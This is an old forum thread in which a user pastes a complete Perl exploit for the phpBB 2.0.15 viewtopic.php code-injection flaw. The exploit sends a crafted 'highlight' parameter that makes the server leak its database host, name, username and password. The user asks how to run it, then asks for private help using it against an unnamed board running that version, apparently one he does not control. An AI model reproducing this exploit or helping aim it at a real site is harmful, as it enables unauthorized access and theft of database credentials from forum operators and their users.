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Full disclosure |
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IT Security and Insecurity Portal |
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A quick Perl Tutorial please? |
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 Posted: Wed Apr 05, 2006 8:29 am |
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| Aryan-Husky |
| Active user |
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| Joined: Apr 03, 2006 |
| Posts: 37 |
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Firstly im only learning Perl through what I can gather on Google and never intended on using it however I am playing around with this script for phpBB 2.0.15 and need help compiling it.
| Quote: |
#!/usr/bin/perl
# tested and working /str0ke
# ********************************************************************
# **********************************************************************
# **** **
# *** ****** ******************* **
# *** *** **** *********************** **
# *** *** **** **** * *** ***** **
# *** *** *** *** *** * ** ** ** **
# *** *** *** ** ** ** ** **
#*** *** *** *** ** ** ***** **
#** *** *** **** ** ** ** **
#** *** *** *** ******* ******* ** *** ** **
#** *** *** *** ** *** *** ** ** ** ** **
#** *** *** *** ** *** *** *** ***** **
#** *** *** *** ** *** *** **
#** **** *** **** *** *** **
#** ******* **** ******** *********************************** **
#** *** **
#** *** **
#** **
#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
#** This exploit gives the user all the details about the database **
#** connection such as database host, username, password and **
#** database name. **
#** **
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005 **
#** **
#** Greetings to GvR, Jumento, PP, CKrew & friends **
#** **
#*****************************************************************************
# ***************************************************************************
use IO::Socket;
print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";
if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];
$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";
$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
print "[+] Connecting OK\n";
sleep(1);
print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";
$succes = 0;
while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}
close($sock);
if ($succes == 1) {
print "OK\n";
sleep(1);
print "[+] Database Host: " . $array[0] . "\n";
sleep(1);
print "[+] Database Name: " . $array[1] . "\n";
sleep(1);
print "[+] Username: " . $array[2] . "\n";
sleep(1);
print "[+] Password: " . $array[3] . "\n";
sleep(1);
} else {
print "FAILED\n";
}
# milw0rm.com [2005-07-03]
|
I have Active Perl installed and I have the above text saved as exploit.pl
I can lauch it but I get this in return:
| Quote: |
+-----------------------------------------------------------------------+
| PhpBB 2.0.15 Database Authentication Details Exploit |
| By SecureD gvr.secured<AT>gmail<DOT>com |
+-----------------------------------------------------------------------+
Usage:\r\n";
phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING
SERVER - Server where PhpBB is installed.
DIR - PHPBB directory or / for no directory.
THREADID - Id of an existing thread.
COOKIESTRING - Optional, cookie string of the http request.
Use this when a thread needs authentication for viewing
You can use Firefox in combination with \"Live HTTP
Headers\" to get this cookiestring.
Example 1 (with cookiestring):
phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\"
Example 2 (without cookiestring):
phpbbSecured.pl 192.168.168.123
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Could somebody please tell me what the next step is?
Id be very gratefull, I think I need to enter my own information but Im not sure where.
Thanks again. |
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| Posted: Thu Apr 06, 2006 4:13 am |
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| Aryan-Husky |
| Active user |
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| Joined: Apr 03, 2006 |
| Posts: 37 |
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I wont post the details of the board here but if someboddy could PM me and help me out with this I would be very gratefull.
The board is running phpBB 2.0.15
I just need help compiling perl.
Thanks. |
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